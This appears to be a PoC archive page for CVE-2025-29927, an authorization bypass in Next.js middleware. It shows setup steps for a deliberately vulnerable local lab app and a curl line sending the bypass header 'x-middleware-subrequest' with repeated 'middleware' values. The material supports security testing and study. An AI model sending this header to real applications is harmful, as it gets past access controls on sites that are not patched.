Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2025-29927 PoC — Authorization Bypass in Next.js Middleware

Source
Associated Vulnerability
Title:Authorization Bypass in Next.js Middleware (CVE-2025-29927)
Description:Next.js is a React framework for building full-stack web applications. Starting in version 1.11.4 and prior to versions 12.3.5, 13.5.9, 14.2.25, and 15.2.3, it is possible to bypass authorization checks within a Next.js application, if the authorization check occurs in middleware. If patching to a safe version is infeasible, it is recommend that you prevent external user requests which contain the x-middleware-subrequest header from reaching your Next.js application. This vulnerability is fixed in 12.3.5, 13.5.9, 14.2.25, and 15.2.3.
Readme

```sh
npx create-next-app@14.2.23
```

### Install packages

```sh
npm install -D @types/bcrypt
npm install mysql2 
npm install jose
npm install -D @types/jsonwebtoken
```

### Prepare DB

``` SQL
CREATE TABLE users (
  id INT PRIMARY KEY AUTO_INCREMENT,
  username VARCHAR(255) UNIQUE NOT NULL,
  password VARCHAR(255) NOT NULL 
);
```

### Run

```bash
npm run dev
```

### 

```sh
# Register some users for test.
curl http://localhost:3000/api/register

# Curl dashboard with or without the header:
# "x-middleware-subrequest": "middleware:middleware:middleware:middleware:middleware"
curl http://localhost:3000/dashboard


```
File Snapshot

[4.0K] /data/pocs/1dce6e7b622f9faef192e690ae6e082c54dee672 ├── [4.0K] app │   ├── [4.0K] api │   │   ├── [4.0K] login │   │   │   └── [1.2K] route.ts │   │   └── [4.0K] register │   │   └── [ 781] route.ts │   ├── [4.0K] dashboard │   │   └── [ 925] page.tsx │   ├── [ 25K] favicon.ico │   ├── [4.0K] fonts │   │   ├── [ 66K] GeistMonoVF.woff │   │   └── [ 65K] GeistVF.woff │   ├── [ 413] globals.css │   ├── [ 742] layout.tsx │   ├── [4.0K] login │   │   └── [2.4K] page.tsx │   └── [3.9K] page.tsx ├── [4.0K] lib │   └── [ 301] db.ts ├── [1.1K] middleware.ts ├── [ 92] next.config.mjs ├── [ 686] package.json ├── [225K] package-lock.json ├── [ 135] postcss.config.mjs ├── [ 631] README.md ├── [ 395] tailwind.config.ts ├── [ 574] tsconfig.json └── [4.0K] utils └── [ 378] jwtverification.ts 9 directories, 20 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →